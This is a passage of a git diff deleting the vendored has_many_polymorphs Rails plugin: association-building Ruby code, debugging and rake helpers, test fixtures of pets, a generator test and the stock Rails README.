for the child's id in the join. -:polymorphic_type_key:: The column name for the child's class name in the join. - -If you pass a block, it gets converted to a Proc and added to :extend. - -== On condition nullification - -When you request an individual association, non-applicable but fully-qualified fields in the polymorphic association's :conditions, :order, and :group options get changed to NULL. For example, if you set :conditions => "dogs.name != 'Spot'", when you request .cats, the conditions string is changed to NULL != 'Spot'. - -Be aware, however, that NULL != 'Spot' returns false due to SQL's 3-value logic. Instead, you need to use the :conditions string "dogs.name IS NULL OR dogs.name != 'Spot'" to get the behavior you probably expect for negative matches. - -=end - - def has_many_polymorphs (association_id, options = {}, &extension) - _logger_debug "associating #{self}.#{association_id}" - reflection = create_has_many_polymorphs_reflection(association_id, options, &extension) - # puts "Created reflection #{reflection.inspect}" - # configure_dependency_for_has_many(reflection) - collection_reader_method(reflection, PolymorphicAssociation) - end - - # Composed method that assigns option defaults, builds the reflection object, and sets up all the related associations on the parent, join, and targets. - def create_has_many_polymorphs_reflection(association_id, options, &extension) #:nodoc: - options.assert_valid_keys( - :from, - :as, - :through, - :foreign_key, - :foreign_type_key, - :polymorphic_key, # same as :association_foreign_key - :polymorphic_type_key, - :dependent, # default :destroy, only affects the join table - :skip_duplicates, # default true, only affects the polymorphic collection - :ignore_duplicates, # deprecated - :is_double, - :rename_individual_collections, - :reverse_association_id, # not used - :singular_reverse_association_id, - :conflicts, - :extend, - :join_class_name, - :join_extend, - :parent_extend, - :table_aliases, - :select, # applies to the polymorphic relationship - :conditions, # applies to the polymorphic relationship, the children, and the join - # :include, - :parent_conditions, - :parent_order, - :order, # applies to the polymorphic relationship, the children, and the join - :group, # only applies to the polymorphic relationship and the children - :limit, # only applies to the polymorphic relationship and the children - :offset, # only applies to the polymorphic relationship - :parent_order, - :parent_group, - :parent_limit, - :parent_offset, - # :source, - :namespace, - :uniq, # XXX untested, only applies to the polymorphic relationship - # :finder_sql, - # :counter_sql, - # :before_add, - # :after_add, - # :before_remove, - # :after_remove - :dummy) - - # validate against the most frequent configuration mistakes - verify_pluralization_of(association_id) - raise PolymorphicError, ":from option must be an array" unless options[:from].is_a? Array - options[:from].each{|plural| verify_pluralization_of(plural)} - - options[:as] ||= self.name.demodulize.underscore.to_sym - options[:conflicts] = Array(options[:conflicts]) - options[:foreign_key] ||= "#{options[:as]}_id" - - options[:association_foreign_key] = - options[:polymorphic_key] ||= "#{association_id._singularize}_id" - options[:polymorphic_type_key] ||= "#{association_id._singularize}_type" - - if options.has_key? :ignore_duplicates - _logger_warn "DEPRECATION WARNING: please use :skip_duplicates instead of :ignore_duplicates" - options[:skip_duplicates] = options[:ignore_duplicates] - end - options[:skip_duplicates] = true unless options.has_key? :skip_duplicates - options[:dependent] = :destroy unless options.has_key? :dependent - options[:conditions] = sanitize_sql(options[:conditions]) - - # options[:finder_sql] ||= "(options[:polymorphic_key] - - options[:through] ||= build_join_table_symbol(association_id, (options[:as]._pluralize or self.table_name)) - - # set up namespaces if we have a namespace key - # XXX needs test coverage - if options[:namespace] - namespace = options[:namespace].to_s.chomp("/") + "/" - options[:from].map! do |child| - "#{namespace}#{child}".to_sym - end - options[:through] = "#{namespace}#{options[:through]}".to_sym - end - - options[:join_class_name] ||= options[:through]._classify - options[:table_aliases] ||= build_table_aliases([options[:through]] + options[:from]) - options[:select] ||= build_select(association_id, options[:table_aliases]) - - options[:through] = "#{options[:through]}_as_#{options[:singular_reverse_association_id]}" if options[:singular_reverse_association_id] - options[:through] = demodulate(options[:through]).to_sym - - options[:extend] = spiked_create_extension_module(association_id, Array(options[:extend]) + Array(extension)) - options[:join_extend] = spiked_create_extension_module(association_id, Array(options[:join_extend]), "Join") - options[:parent_extend] = spiked_create_extension_module(association_id, Array(options[:parent_extend]), "Parent") - - # create the reflection object - returning(create_reflection(:has_many_polymorphs, association_id, options, self)) do |reflection| - # set up the other related associations - create_join_association(association_id, reflection) - create_has_many_through_associations_for_parent_to_children(association_id, reflection) - create_has_many_through_associations_for_children_to_parent(association_id, reflection) - end - end - - private - - - # table mapping for use at the instantiation point - - def build_table_aliases(from) - # for the targets - returning({}) do |aliases| - from.map(&:to_s).sort.map(&:to_sym).each_with_index do |plural, t_index| - begin - table = plural._as_class.table_name - rescue NameError => e - raise PolymorphicError, "Could not find a valid class for #{plural.inspect} (tried #{plural.to_s._classify}). If it's namespaced, be sure to specify it as :\"module/#{plural}\" instead." - end - begin - plural._as_class.columns.map(&:name).each_with_index do |field, f_index| - aliases["#{table}.#{field}"] = "t#{t_index}_r#{f_index}" - end - rescue ActiveRecord::StatementInvalid => e - _logger_warn "Looks like your table doesn't exist for #{plural.to_s._classify}.\nError #{e}\nSkipping..." - end - end - end - end - - def build_select(association_id, aliases) - # instantiate has to know which reflection the results are coming from - (["\'#{self.name}\' AS polymorphic_parent_class", - "\'#{association_id}\' AS polymorphic_association_id"] + - aliases.map do |table, _alias| - "#{table} AS #{_alias}" - end.sort).join(", ") - end - - # method sub-builders - - def create_join_association(association_id, reflection) - - options = { - :foreign_key => reflection.options[:foreign_key], - :dependent => reflection.options[:dependent], - :class_name => reflection.klass.name, - :extend => reflection.options[:join_extend] - # :limit => reflection.options[:limit], - # :offset => reflection.options[:offset], - # :order => devolve(association_id, reflection, reflection.options[:order], reflection.klass, true), - # :conditions => devolve(association_id, reflection, reflection.options[:conditions], reflection.klass, true) - } - - if reflection.options[:foreign_type_key] - type_check = "#{reflection.options[:join_class_name].constantize.quoted_table_name}.#{reflection.options[:foreign_type_key]} = #{quote_value(self.base_class.name)}" - conjunction = options[:conditions] ? " AND " : nil - options[:conditions] = "#{options[:conditions]}#{conjunction}#{type_check}" - options[:as] = reflection.options[:as] - end - - has_many(reflection.options[:through], options) - - inject_before_save_into_join_table(association_id, reflection) - end - - def inject_before_save_into_join_table(association_id, reflection) - sti_hook = "sti_class_rewrite" - rewrite_procedure = %[self.send(:#{reflection.options[:polymorphic_type_key]}=, self.#{reflection.options[:polymorphic_type_key]}.constantize.base_class.name)] - - # XXX should be abstracted? - reflection.klass.class_eval %[ - unless instance_methods.include? "before_save_with_#{sti_hook}" - if instance_methods.include? "before_save" - alias_method :before_save_without_#{sti_hook}, :before_save - def before_save_with_#{sti_hook} - before_save_without_#{sti_hook} - #{rewrite_procedure} - end - else - def before_save_with_#{sti_hook} - #{rewrite_procedure} - end - end - alias_method :before_save, :before_save_with_#{sti_hook} - end - ] - end - - def create_has_many_through_associations_for_children_to_parent(association_id, reflection) - - child_pluralization_map(association_id, reflection).each do |plural, singular| - if singular == reflection.options[:as] - raise PolymorphicError, if reflection.options[:is_double] - "You can't give either of the sides in a double-polymorphic join the same name as any of the individual target classes." - else - "You can't have a self-referential polymorphic has_many :through without renaming the non-polymorphic foreign key in the join model." - end - end - - parent = self - plural._as_class.instance_eval do - # this shouldn't be called at all during doubles; there is no way to traverse to a double polymorphic parent (XXX is that right?) - unless reflection.options[:is_double] or reflection.options[:conflicts].include? self.name.tableize.to_sym - - # the join table - through = "#{reflection.options[:through]}#{'_as_child' if parent == self}".to_sym - has_many(through, - :as => association_id._singularize, -# :source => association_id._singularize, -# :source_type => reflection.options[:polymorphic_type_key], - :class_name => reflection.klass.name, - :dependent => reflection.options[:dependent], - :extend => reflection.options[:join_extend], - # :limit => reflection.options[:limit], - # :offset => reflection.options[:offset], - :order => devolve(association_id, reflection, reflection.options[:parent_order], reflection.klass), - :conditions => devolve(association_id, reflection, reflection.options[:parent_conditions], reflection.klass) - ) - - # the association to the target's parents - association = "#{reflection.options[:as]._pluralize}#{"_of_#{association_id}" if reflection.options[:rename_individual_collections]}".to_sym - has_many(association, - :through => through, - :class_name => parent.name, - :source => reflection.options[:as], - :foreign_key => reflection.options[:foreign_key], - :extend => reflection.options[:parent_extend], - :conditions => reflection.options[:parent_conditions], - :order => reflection.options[:parent_order], - :offset => reflection.options[:parent_offset], - :limit => reflection.options[:parent_limit], - :group => reflection.options[:parent_group]) - -# debugger if association == :parents -# -# nil - - end - end - end - end - - def create_has_many_through_associations_for_parent_to_children(association_id, reflection) - child_pluralization_map(association_id, reflection).each do |plural, singular| - #puts ":source => #{child}" - current_association = demodulate(child_association_map(association_id, reflection)[plural]) - source = demodulate(singular) - - if reflection.options[:conflicts].include? plural - # XXX check this - current_association = "#{association_id._singularize}_#{current_association}" if reflection.options[:conflicts].include? self.name.tableize.to_sym - source = "#{source}_as_#{association_id._singularize}".to_sym - end - - # make push/delete accessible from the individual collections but still operate via the general collection - extension_module = self.class_eval %[ - module #{self.name + current_association._classify + "PolymorphicChildAssociationExtension"} - def push *args; proxy_owner.send(:#{association_id}).send(:push, *args); self; end - alias :<< :push - def delete *args; proxy_owner.send(:#{association_id}).send(:delete, *args); end - def clear; proxy_owner.send(:#{association_id}).send(:clear, #{singular._classify}); end - self - end] - - has_many(current_association.to_sym, - :through => reflection.options[:through], - :source => association_id._singularize, - :source_type => plural._as_class.base_class.name, - :class_name => plural._as_class.name, # make STI not conflate subtypes - :extend => (Array(extension_module) + reflection.options[:extend]), - :limit => reflection.options[:limit], - # :offset => reflection.options[:offset], - :order => devolve(association_id, reflection, reflection.options[:order], plural._as_class), - :conditions => devolve(association_id, reflection, reflection.options[:conditions], plural._as_class), - :group => devolve(association_id, reflection, reflection.options[:group], plural._as_class) - ) - - end - end - - # some support methods - - def child_pluralization_map(association_id, reflection) - Hash[*reflection.options[:from].map do |plural| - [plural, plural._singularize] - end.flatten] - end - - def child_association_map(association_id, reflection) - Hash[*reflection.options[:from].map do |plural| - [plural, "#{association_id._singularize.to_s + "_" if reflection.options[:rename_individual_collections]}#{plural}".to_sym] - end.flatten] - end - - def demodulate(s) - s.to_s.gsub('/', '_').to_sym - end - - def build_join_table_symbol(association_id, name) - [name.to_s, association_id.to_s].sort.join("_").to_sym - end - - def all_classes_for(association_id, reflection) - klasses = [self, reflection.klass, *child_pluralization_map(association_id, reflection).keys.map(&:_as_class)] - klasses += klasses.map(&:base_class) - klasses.uniq - end - - def devolve(association_id, reflection, string, klass, remove_inappropriate_clauses = false) - # XXX remove_inappropriate_clauses is not implemented; we'll wait until someone actually needs it - return unless string - string = string.dup - # _logger_debug "devolving #{string} for #{klass}" - inappropriate_classes = (all_classes_for(association_id, reflection) - # the join class must always be preserved - [klass, klass.base_class, reflection.klass, reflection.klass.base_class]) - inappropriate_classes.map do |klass| - klass.columns.map do |column| - [klass.table_name, column.name] - end.map do |table, column| - ["#{table}.#{column}", "`#{table}`.#{column}", "#{table}.`#{column}`", "`#{table}`.`#{column}`"] - end - end.flatten.sort_by(&:size).reverse.each do |quoted_reference| - # _logger_debug "devolved #{quoted_reference} to NULL" - # XXX clause removal would go here - string.gsub!(quoted_reference, "NULL") - end - # _logger_debug "altered to #{string}" - string - end - - def verify_pluralization_of(sym) - sym = sym.to_s - singular = sym.singularize - plural = singular.pluralize - raise PolymorphicError, "Pluralization rules not set up correctly. You passed :#{sym}, which singularizes to :#{singular}, but that pluralizes to :#{plural}, which is different. Maybe you meant :#{plural} to begin with?" unless sym == plural - end - - def spiked_create_extension_module(association_id, extensions, identifier = nil) - module_extensions = extensions.select{|e| e.is_a? Module} - proc_extensions = extensions.select{|e| e.is_a? Proc } - - # support namespaced anonymous blocks as well as multiple procs - proc_extensions.each_with_index do |proc_extension, index| - module_name = "#{self.to_s}#{association_id._classify}Polymorphic#{identifier}AssociationExtension#{index}" - the_module = self.class_eval "module #{module_name}; self; end" # XXX hrm - the_module.class_eval &proc_extension - module_extensions << the_module - end - module_extensions - end - - end - end -end diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/configuration.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/configuration.rb deleted file mode 100644 index 9de21617..00000000 --- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/configuration.rb +++ /dev/null @@ -1,19 +0,0 @@ - -=begin rdoc -Access the has_many_polymorphs_options hash in your Rails::Initializer.run#after_initialize block if you need to modify the behavior of Rails::Initializer::HasManyPolymorphsAutoload. -=end - -module Rails #:nodoc: - class Configuration - - def has_many_polymorphs_options - ::HasManyPolymorphs.options - end - - def has_many_polymorphs_options=(hash) - ::HasManyPolymorphs.options = HashWithIndifferentAccess.new(hash) - end - - end -end - diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/debugging_tools.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/debugging_tools.rb deleted file mode 100644 index 22c9af38..00000000 --- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/debugging_tools.rb +++ /dev/null @@ -1,103 +0,0 @@ - -=begin rdoc - -Debugging tools for Has_many_polymorphs. - -Enable the different tools by setting the environment variable HMP_DEBUG. Settings with special meaning are "ruby-debug", "trace", and "dependencies". - -== Code generation - -Enabled by default when HMP_DEBUG is set. - -Ouputs a folder generated_models/ in RAILS_ROOT containing valid Ruby files explaining all the ActiveRecord relationships set up by the plugin, as well as listing the line in the plugin that called each particular association method. - -== Ruby-debug - -Enable by setting HMP_DEBUG to "ruby-debug". - -Starts ruby-debug for the life of the process. - -== Trace - -Enable by setting HMP_DEBUG to "ruby-debug". - -Outputs an indented trace of relevant method calls as they occur. - -== Dependencies - -Enable by setting HMP_DEBUG to "dependencies". - -Turns on Rails' default dependency logging. - -=end - -_logger_warn "debug mode enabled" - -class << ActiveRecord::Base - COLLECTION_METHODS = [:belongs_to, :has_many, :has_and_belongs_to_many, :has_one, - :has_many_polymorphs, :acts_as_double_polymorphic_join].each do |method_name| - alias_method "original_#{method_name}".to_sym, method_name - undef_method method_name - end - - unless defined? GENERATED_CODE_DIR - GENERATED_CODE_DIR = "#{RAILS_ROOT}/generated_models" - - begin - system "rm -rf #{GENERATED_CODE_DIR}" - Dir.mkdir GENERATED_CODE_DIR - rescue Errno::EACCES - _logger_warn "no permissions for generated code dir: #{GENERATED_CODE_DIR}" - end - - if File.exist? GENERATED_CODE_DIR - alias :original_method_missing :method_missing - def method_missing(method_name, *args, &block) - if COLLECTION_METHODS.include? method_name.to_sym - Dir.chdir GENERATED_CODE_DIR do - filename = "#{demodulate(self.name.underscore)}.rb" - contents = File.open(filename).read rescue "\nclass #{self.name}\n\nend\n" - line = caller[1][/\:(\d+)\:/, 1] - contents[-5..-5] = "\n #{method_name} #{args[0..-2].inspect[1..-2]},\n #{args[-1].inspect[1..-2].gsub(" :", "\n :").gsub("=>", " => ")}\n#{ block ? " #{block.inspect.sub(/\@.*\//, '@')}\n" : ""} # called from line #{line}\n\n" - File.open(filename, "w") do |file| - file.puts contents - end - end - # doesn't actually display block contents - self.send("original_#{method_name}", *args, &block) - else - self.send(:original_method_missing, method_name, *args, &block) - end - end - end - - end -end - -case ENV['HMP_DEBUG'] - - when "ruby-debug" - require 'rubygems' - require 'ruby-debug' - Debugger.start - _logger_warn "ruby-debug enabled." - - when "trace" - _logger_warn "method tracing enabled" - $debug_trace_indent = 0 - set_trace_func (proc do |event, file, line, id, binding, classname| - if id.to_s =~ /instantiate/ #/IRB|Wirble|RubyLex|RubyToken|Logger|ConnectionAdapters|SQLite3|MonitorMixin|Benchmark|Inflector|Inflections/ - if event == 'call' - puts (" " * $debug_trace_indent) + "#{event}ed #{classname}\##{id} from #{file.split('/').last}::#{line}" - $debug_trace_indent += 1 - elsif event == 'return' - $debug_trace_indent -= 1 unless $debug_trace_indent == 0 - puts (" " * $debug_trace_indent) + "#{event}ed #{classname}\##{id}" - end - end - end) - - when "dependencies" - _logger_warn "dependency activity being logged" - (::Dependencies.log_activity = true) rescue nil -end diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/rake_task_redefine_task.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/rake_task_redefine_task.rb deleted file mode 100644 index 217d2590..00000000 --- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/rake_task_redefine_task.rb +++ /dev/null @@ -1,35 +0,0 @@ - -# Redefine instead of chain a Rake task -# http://www.bigbold.com/snippets/posts/show/2032 - -module Rake - module TaskManager - def redefine_task(task_class, args, &block) - task_name, deps = resolve_args(args) - task_name = task_class.scope_name(@scope, task_name) - deps = [deps] unless deps.respond_to?(:to_ary) - deps = deps.collect {|d| d.to_s } - task = @tasks[task_name.to_s] = task_class.new(task_name, self) - task.application = self - task.add_comment(@last_comment) - @last_comment = nil - task.enhance(deps, &block) - task - end - end - class Task - class << self - def redefine_task(args, &block) - Rake.application.redefine_task(self, args, &block) - end - end - end -end - -class Object - def silently - stderr, stdout, $stderr, $stdout = $stderr, $stdout, StringIO.new, StringIO.new - yield - $stderr, $stdout = stderr, stdout - end -end diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/reflection.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/reflection.rb deleted file mode 100644 index 0091397d..00000000 --- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/reflection.rb +++ /dev/null @@ -1,58 +0,0 @@ -module ActiveRecord #:nodoc: - module Reflection #:nodoc: - - module ClassMethods #:nodoc: - - # Update the default reflection switch so that :has_many_polymorphs types get instantiated. - # It's not a composed method so we have to override the whole thing. - def create_reflection(macro, name, options, active_record) - case macro - when :has_many, :belongs_to, :has_one, :has_and_belongs_to_many - klass = options[:through] ? ThroughReflection : AssociationReflection - reflection = klass.new(macro, name, options, active_record) - when :composed_of - reflection = AggregateReflection.new(macro, name, options, active_record) - # added by has_many_polymorphs # - when :has_many_polymorphs - reflection = PolymorphicReflection.new(macro, name, options, active_record) - end - write_inheritable_hash :reflections, name => reflection - reflection - end - - end - - class PolymorphicError < ActiveRecordError #:nodoc: - end - -=begin rdoc - -The reflection built by the has_many_polymorphs method. - -Inherits from ActiveRecord::Reflection::AssociationReflection. - -=end - - class PolymorphicReflection < ThroughReflection - # Stub out the validity check. Has_many_polymorphs checks validity on macro creation, not on reflection. - def check_validity! - # nothing - end - - # Return the source reflection. - def source_reflection - # normally is the has_many to the through model, but we return ourselves, - # since there isn't a real source class for a polymorphic target - self - end - - # Set the classname of the target. Uses the join class name. - def class_name - # normally is the classname of the association target - @class_name ||= options[:join_class_name] - end - - end - - end -end diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/support_methods.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/support_methods.rb deleted file mode 100644 index bc1e2a5b..00000000 --- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/support_methods.rb +++ /dev/null @@ -1,88 +0,0 @@ - -class String - - # Changes an underscored string into a class reference. - def _as_class - # classify expects self to be plural - self.classify.constantize - end - - # For compatibility with the Symbol extensions. - alias :_singularize :singularize - alias :_pluralize :pluralize - alias :_classify :classify -end - -class Symbol - - # Changes an underscored symbol into a class reference. - def _as_class; self.to_s._as_class; end - - # Changes a plural symbol into a singular symbol. - def _singularize; self.to_s.singularize.to_sym; end - - # Changes a singular symbol into a plural symbol. - def _pluralize; self.to_s.pluralize.to_sym; end - - # Changes a symbol into a class name string. - def _classify; self.to_s.classify; end -end - -class Array - - # Flattens the first level of self. - def _flatten_once - self.inject([]){|r, el| r + Array(el)} - end - - # Rails 1.2.3 compatibility method. Copied from http://dev.rubyonrails.org/browser/trunk/activesupport/lib/active_support/core_ext/array/extract_options.rb?rev=7217 - def _extract_options! - last.is_a?(::Hash) ? pop : {} - end -end - -class Hash - - # An implementation of select that returns a Hash. - def _select - if RUBY_VERSION >= "1.9" - Hash[*self.select {|k, v| yield k, v }.flatten] - else - Hash[*self.select do |key, value| - yield key, value - end._flatten_once] - end - end -end - -class Object - - # Returns the metaclass of self. - def _metaclass; (class << self; self; end); end - - # Logger shortcut. - def _logger_debug s - s = "** has_many_polymorphs: #{s}" - RAILS_DEFAULT_LOGGER.debug(s) if RAILS_DEFAULT_LOGGER - end - - # Logger shortcut. - def _logger_warn s - s = "** has_many_polymorphs: #{s}" - if RAILS_DEFAULT_LOGGER - RAILS_DEFAULT_LOGGER.warn(s) - else - $stderr.puts(s) - end - end - -end - -class ActiveRecord::Base - - # Return the base class name as a string. - def _base_class_name - self.class.base_class.name.to_s - end - -end diff --git a/vendor/plugins/has_many_polymorphs/test/fixtures/bow_wows.yml b/vendor/plugins/has_many_polymorphs/test/fixtures/bow_wows.yml deleted file mode 100644 index 00be9d88..00000000 --- a/vendor/plugins/has_many_polymorphs/test/fixtures/bow_wows.yml +++ /dev/null @@ -1,10 +0,0 @@ -rover: - id: 1 - name: Rover - created_at: "2007-01-01 12:00:00" - updated_at: "2007-01-04 10:00:00" -spot: - id: 2 - name: Spot - created_at: "2007-01-02 12:00:00" - updated_at: "2007-01-03 10:00:00" diff --git a/vendor/plugins/has_many_polymorphs/test/fixtures/cats.yml b/vendor/plugins/has_many_polymorphs/test/fixtures/cats.yml deleted file mode 100644 index aed894f9..00000000 --- a/vendor/plugins/has_many_polymorphs/test/fixtures/cats.yml +++ /dev/null @@ -1,18 +0,0 @@ -chloe: - id: 1 - cat_type: Kitten - name: Chloe - created_at: "2007-04-01 12:00:00" - updated_at: "2007-04-04 10:00:00" -alice: - id: 2 - cat_type: Kitten - name: Alice - created_at: "2007-04-02 12:00:00" - updated_at: "2007-04-03 10:00:00" -toby: - id: 3 - cat_type: Tabby - name: Toby - created_at: "2007-04-02 12:00:00" - updated_at: "2007-04-03 10:00:00" diff --git a/vendor/plugins/has_many_polymorphs/test/fixtures/eaters_foodstuffs.yml b/vendor/plugins/has_many_polymorphs/test/fixtures/eaters_foodstuffs.yml deleted file mode 100644 index e69de29b..00000000 diff --git a/vendor/plugins/has_many_polymorphs/test/fixtures/fish.yml b/vendor/plugins/has_many_polymorphs/test/fixtures/fish.yml deleted file mode 100644 index 3974a672..00000000 --- a/vendor/plugins/has_many_polymorphs/test/fixtures/fish.yml +++ /dev/null @@ -1,12 +0,0 @@ -swimmy: - id: 1 - name: Swimmy - speed: 10 - created_at: "2007-02-01 12:00:00" - updated_at: "2007-02-04 10:00:00" -jaws: - id: 2 - name: Jaws - speed: 20 - created_at: "2007-02-02 12:00:00" - updated_at: "2007-02-03 10:00:00" diff --git a/vendor/plugins/has_many_polymorphs/test/fixtures/frogs.yml b/vendor/plugins/has_many_polymorphs/test/fixtures/frogs.yml deleted file mode 100644 index e9d37d7c..00000000 --- a/vendor/plugins/has_many_polymorphs/test/fixtures/frogs.yml +++ /dev/null @@ -1,5 +0,0 @@ -froggy: - id: 1 - name: Froggy - created_at: "2007-05-01 12:00:00" - updated_at: "2007-05-04 10:00:00" diff --git a/vendor/plugins/has_many_polymorphs/test/fixtures/keep_your_enemies_close.yml b/vendor/plugins/has_many_polymorphs/test/fixtures/keep_your_enemies_close.yml deleted file mode 100644 index e69de29b..00000000 diff --git a/vendor/plugins/has_many_polymorphs/test/fixtures/little_whale_pupils.yml b/vendor/plugins/has_many_polymorphs/test/fixtures/little_whale_pupils.yml deleted file mode 100644 index e69de29b..00000000 diff --git a/vendor/plugins/has_many_polymorphs/test/fixtures/people.yml b/vendor/plugins/has_many_polymorphs/test/fixtures/people.yml deleted file mode 100644 index 085d2172..00000000 --- a/vendor/plugins/has_many_polymorphs/test/fixtures/people.yml +++ /dev/null @@ -1,7 +0,0 @@ -bob: - id: 1 - name: Bob - age: 45 - created_at: "2007-04-01 12:00:00" - updated_at: "2007-04-04 10:00:00" - \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/fixtures/petfoods.yml b/vendor/plugins/has_many_polymorphs/test/fixtures/petfoods.yml deleted file mode 100644 index a117d294..00000000 --- a/vendor/plugins/has_many_polymorphs/test/fixtures/petfoods.yml +++ /dev/null @@ -1,11 +0,0 @@ -kibbles: - the_petfood_primary_key: 1 - name: Kibbles - created_at: "2007-06-01 12:00:00" - updated_at: "2007-06-04 10:00:00" -bits: - the_petfood_primary_key: 2 - name: Bits - created_at: "2007-06-02 12:00:00" - updated_at: "2007-06-03 10:00:00" - \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/fixtures/whales.yml b/vendor/plugins/has_many_polymorphs/test/fixtures/whales.yml deleted file mode 100644 index bded734e..00000000 --- a/vendor/plugins/has_many_polymorphs/test/fixtures/whales.yml +++ /dev/null @@ -1,5 +0,0 @@ -shamu: - id: 1 - name: Shamu - created_at: "2007-03-01 12:00:00" - updated_at: "2007-03-04 10:00:00" diff --git a/vendor/plugins/has_many_polymorphs/test/fixtures/wild_boars.yml b/vendor/plugins/has_many_polymorphs/test/fixtures/wild_boars.yml deleted file mode 100644 index 73fd3e2e..00000000 --- a/vendor/plugins/has_many_polymorphs/test/fixtures/wild_boars.yml +++ /dev/null @@ -1,10 +0,0 @@ -puma: - id: 1 - name: Puma - created_at: "2007-07-01 12:00:00" - updated_at: "2007-07-04 10:00:00" -jacrazy: - id: 2 - name: Jacrazy - created_at: "2007-07-02 12:00:00" - updated_at: "2007-07-03 10:00:00" diff --git a/vendor/plugins/has_many_polymorphs/test/generator/tagging_generator_test.rb b/vendor/plugins/has_many_polymorphs/test/generator/tagging_generator_test.rb deleted file mode 100644 index 629da968..00000000 --- a/vendor/plugins/has_many_polymorphs/test/generator/tagging_generator_test.rb +++ /dev/null @@ -1,42 +0,0 @@ -require 'fileutils' -require File.dirname(__FILE__) + '/../test_helper' - -class TaggingGeneratorTest < ActiveSupport::TestCase - - def setup - Dir.chdir RAILS_ROOT do - truncate - - # Revert environment lib requires - FileUtils.cp "config/environment.rb.canonical", "config/environment.rb" - - # Delete generator output - ["app/models/tag.rb", "app/models/tagging.rb", - "test/unit/tag_test.rb", "test/unit/tagging_test.rb", - "test/fixtures/tags.yml", "test/fixtures/taggings.yml", - "lib/tagging_extensions.rb", - "db/migrate/010_create_tags_and_taggings.rb"].each do |file| - File.delete file if File.exist? file - end - - # Rebuild database - Echoe.silence do - system("ruby #{HERE}/setup.rb") - end - end - end - - alias :teardown :setup - - def test_generator - Dir.chdir RAILS_ROOT do - Echoe.silence do - assert system("script/generate tagging Stick Stone -q -f") - assert system("rake db:migrate") - assert system("rake db:fixtures:load") - assert system("rake test:units") - end - end - end - -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/README b/vendor/plugins/has_many_polymorphs/test/integration/app/README deleted file mode 100644 index 0d6affdd..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/README +++ /dev/null @@ -1,182 +0,0 @@ -== Welcome to Rails - -Rails is a web-application and persistence framework that includes everything -needed to create database-backed web-applications according to the -Model-View-Control pattern of separation. This pattern splits the view (also -called the presentation) into "dumb" templates that are primarily responsible -for inserting pre-built data in between HTML tags. The model contains the -"smart" domain objects (such as Account, Product, Person, Post) that holds all -the business logic and knows how to persist themselves to a database. The -controller handles the incoming requests (such as Save New Account, Update -Product, Show Post) by manipulating the model and directing data to the view. - -In Rails, the model is handled by what's called an object-relational mapping -layer entitled Active Record. This layer allows you to present the data from -database rows as objects and embellish these data objects with business logic -methods. You can read more about Active Record in -link:files/vendor/rails/activerecord/README.html. - -The controller and view are handled by the Action Pack, which handles both -layers by its two parts: Action View and Action Controller. These two layers -are bundled in a single package due to their heavy interdependence. This is -unlike the relationship between the Active Record and Action Pack that is much -more separate. Each of these packages can be used independently outside of -Rails. You can read more about Action Pack in -link:files/vendor/rails/actionpack/README.html. - - -== Getting started - -1. At the command prompt, start a new rails application using the rails command - and your application name. Ex: rails myapp - (If you've downloaded rails in a complete tgz or zip, this step is already done) -2. Change directory into myapp and start the web server: script/server (run with --help for options) -3. Go to http://localhost:3000/ and get "Welcome aboard: You’re riding the Rails!" -4. Follow the guidelines to start developing your application - - -== Web Servers - -By default, Rails will try to use Mongrel and lighttpd if they are installed, otherwise -Rails will use the WEBrick, the webserver that ships with Ruby. When you run script/server, -Rails will check if Mongrel exists, then lighttpd and finally fall back to WEBrick. This ensures -that you can always get up and running quickly. - -Mongrel is a Ruby-based webserver with a C-component (which requires compilation) that is -suitable for development and deployment of Rails applications. If you have Ruby Gems installed, -getting up and running with mongrel is as easy as: gem install mongrel. -More info at: http://mongrel.rubyforge.org - -If Mongrel is not installed, Rails will look for lighttpd. It's considerably faster than -Mongrel and WEBrick and also suited for production use, but requires additional -installation and currently only works well on OS X/Unix (Windows users are encouraged -to start with Mongrel). We recommend version 1.4.11 and higher. You can download it from -http://www.lighttpd.net. - -And finally, if neither Mongrel or lighttpd are installed, Rails will use the built-in Ruby -web server, WEBrick. WEBrick is a small Ruby web server suitable for development, but not -for production. - -But of course its also possible to run Rails on any platform that supports FCGI. -Apache, LiteSpeed, IIS are just a few. For more information on FCGI, -please visit: http://wiki.rubyonrails.com/rails/pages/FastCGI - - -== Debugging Rails - -Have "tail -f" commands running on the server.log and development.log. Rails will -automatically display debugging and runtime information to these files. Debugging -info will also be shown in the browser on requests from 127.0.0.1. - - -== Breakpoints - -Breakpoint support is available through the script/breakpointer client. This -means that you can break out of execution at any point in the code, investigate -and change the model, AND then resume execution! Example: - - class WeblogController < ActionController::Base - def index - @posts = Post.find(:all) - breakpoint "Breaking out from the list" - end - end - -So the controller will accept the action, run the first line, then present you -with a IRB prompt in the breakpointer window. Here you can do things like: - -Executing breakpoint "Breaking out from the list" at .../webrick_server.rb:16 in 'breakpoint' - - >> @posts.inspect - => "[#nil, \"body\"=>nil, \"id\"=>\"1\"}>, - #\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]" - >> @posts.first.title = "hello from a breakpoint" - => "hello from a breakpoint" - -...and even better is that you can examine how your runtime objects actually work: - - >> f = @posts.first - => #nil, "body"=>nil, "id"=>"1"}> - >> f. - Display all 152 possibilities? (y or n) - -Finally, when you're ready to resume execution, you press CTRL-D - - -== Console - -You can interact with the domain model by starting the console through script/console. -Here you'll have all parts of the application configured, just like it is when the -application is running. You can inspect domain models, change values, and save to the -database. Starting the script without arguments will launch it in the development 